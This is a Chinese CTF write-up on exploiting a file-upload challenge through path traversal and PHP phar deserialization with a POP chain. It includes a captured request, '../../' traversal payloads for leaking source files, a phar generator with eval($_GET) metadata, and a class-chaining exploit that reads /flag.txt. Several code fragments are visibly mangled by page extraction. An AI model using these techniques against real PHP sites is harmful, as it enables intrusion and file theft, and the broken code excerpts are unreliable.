phar反序列化以及pop链构造

phar反序列化以及pop链构造

打开页面是一个登录界面,试着sql注入,发现不行,然后注册后登录发现是上传文件,尝试着上传一个一句话木马,然后没有回显路径,但是点击下载后,抓包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /download.php HTTP/1.1
Host: 32c12092-57dd-43b8-91a4-92f60c34dca1.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
Origin: http://32c12092-57dd-43b8-91a4-92f60c34dca1.node4.buuoj.cn:81
Connection: close
Referer: http://32c12092-57dd-43b8-91a4-92f60c34dca1.node4.buuoj.cn:81/index.php
Cookie: UM_distinctid=17ae21e0e7f4c7-0fd161bcfd1ad38-4c3e257a-186a00-17ae21e0e80551; PHPSESSID=3f263faaafa24915e707947db445f70f
Upgrade-Insecure-Requests: 1

filename=shell15.jpg

发现有一个filename可以直接利用来获取文件,因此,我们尝试构造

1
filename=../../flag.php

发现不可以下载,然后我们可以试着利用获取源码

1
2
3
4
5
6
7
8
9
10
11
filename=../../class.php

filename=../../login.php

filename=../../download.php

filename=../../index.php

filename=../../delete.php

filename=../../upload.php

获取源码后,我们可以看class.php文件,发现有数据库交互的语句

1
2
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");

可见username参数的值已经被确定了,所以无法进行sql注入,然后我们再看向download.php文件,发现下载的文件名过滤了flag

1
2
3
4
5
6
7
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();

其中chdir()函数是用来目录跳跃的,所以我们在获取文件时,需要../../来读取上层目录的文件。同时由于过滤了flag文件名,所以不能使用这个方法我们需要使用其它的方法

看到__call()这个魔术方法

1
2
3
4
5
6
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

同时看到close()函数

1
2
3
public function close() {
return file_get_contents($this->filename);
}

中的file_get_contents()函数,可以判断使用phar反序列化加pop链

phar反序列化

phar原理

phar由四部分构成

1
2
3
4
5
6
7
8
9
10
11
1. stub
phar文件标识,格式为xxx<?php xxx;__HALT_COMPILER();?>,只要由__HALT_COMPILER();?>这个标识作为结尾,则前面的内容是不限定的,因此可以随意伪造文件头

2. mainfest
压缩文件的属性等信息,以序列化存储

3. contents
压缩文件内容

4. signature
签名,放在文件末尾

phar存储的meta-data信息以序列化的方式存储,而当文件操作函数通过phar://伪协议解析phar文件时会将数据反序列化,其中文件操作函数为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
fileatime()
filectime()
file_exists()
file_get_contents()
file_put_contents()
file()
filegroup()
fopen()
fileinode()
filemtime()
fileowner()
fileperms()
is_dir()
is_executable()
is_file()
is_link()
is_readable()
is_writable()
is_writeable()
parse_ini_file()
copy()
unlink()
stat()
readfile()

实例

1
test.php
output); } } if(isset($_GET['filename'])) { $filename=$_GET['filename']; var_dump(file_exists($filename)); } ?>
1
然后使用这个phar.php文件生成phar文件
startBuffering(); //开始写文件 $phar->setStub('

‘); //写入stub
$o=new Testobj();
$o->output=’eval($_GET[“a”]);’;
$phar->setMetadata($o);//写入meta-data
$phar->addFromString(“test.txt”,”test”); //添加要压缩的文件
$phar->stopBuffering();
?>

1
然后放在同一目录中,其中运行时,需要在php.ini文件中设置

phar.readonly = Off

1
注意在ini文件中;为注释符,然后构造

http://127.0.0.1/test.php?filename=phpinfo();

1
2
3
4
5
则可以获得php版本

回到原来题目本身

有几个魔术方法

__call()————————————-在对象调用的方法不存在时。会自动触发

__destruct()——————————-会在销毁对象时自动触发

1
而我们可以看见close()方法中有file_get_contents()函数,所以我们只需控制$this->filename这个参数即可,而调用这个close()方法,而download.php文件和delect.php文件都有这个函数,但是download.php文件中的

ini_set(“open_basedir”, getcwd() . “:/etc:/tmp”);

1
限制了访问目录只能在当前目录(getcwd())、/etc和/tmp目录,所以不可以使用,但是我们可以使用delect.php来读取,我们可以构造一条简单的链条

当delect.php文件中的$file->detele()是,会触发class.php文件中的user类中的__destruct()魔术方法中的$this->db->close();

而我们可以直接将$this->db作为file类,然后调用close()方法,之后只要我们控制file类中的$filename即可

1
按上面写exp
db = new File(); ?>
1
但是没有回显,所以我们可以利用FileList类中的__call()魔术方法和__destruct()魔术方法来通过

echo $table;

1
来打印读取文件的信息,所以我们需要构造新的pop链

首先,delete.php文件中的$file->detele();会调用File类中的delect()方法

然后,detele()函数中的unlink()函数会触发user类的魔术方法__destruct()

而构造$this->db为new FileList()类,来调用不存在FileList类中的close()方法,从而触发FileList类中魔术方法__call()方法和__destruct()方法来通过echo $table;打印回显信息

1
2

其中__cal($fun,$args)魔术方法中的$fun为被调用的方法,而$args为被调用方法中的参数,而当创建新的类的时候会触发魔术方法__contruct(),其中魔术方法__contruct()

public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);

    $key = array_search(".", $filenames);
    unset($filenames[$key]);
    $key = array_search("..", $filenames);
    unset($filenames[$key]);

    foreach ($filenames as $filename) {
        $file = new File();
        $file->open($path . $filename);
        array_push($this->files, $file);
        $this->results[$file->name()] = array();
    }
}
1
将phar压缩文件中的文件放进数组中,然后__call()魔术方法将调用的方法close()放进数组中,并将遍历每一个文件,让每一个文件都调用close()方法,并存储于二维数组中,而后FileList类中的__destruct()魔术方法会将利用

foreach ($this->results as $filename => $result) {
$table .= ‘‘;
foreach ($result as $func => $value) {

1
会将每个二维数组中的值给$table,并通过

echo $table;

1
2
打印出来,所以我们可以写exp
phar.php
filename = "/flag.txt"; $this->files = array($file); } } $a = new User(); $a->db = new FileList(); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("

“); //设置stub

$o = new User();
$o->db = new FileList();

$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString(“exp.txt”, “test”); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

1
通过php运行phar.php来生成phar.phar文件,之后点击删除,并抓包,将filename中的值改为

filename=phar://phar.phar

```
就可以读出flag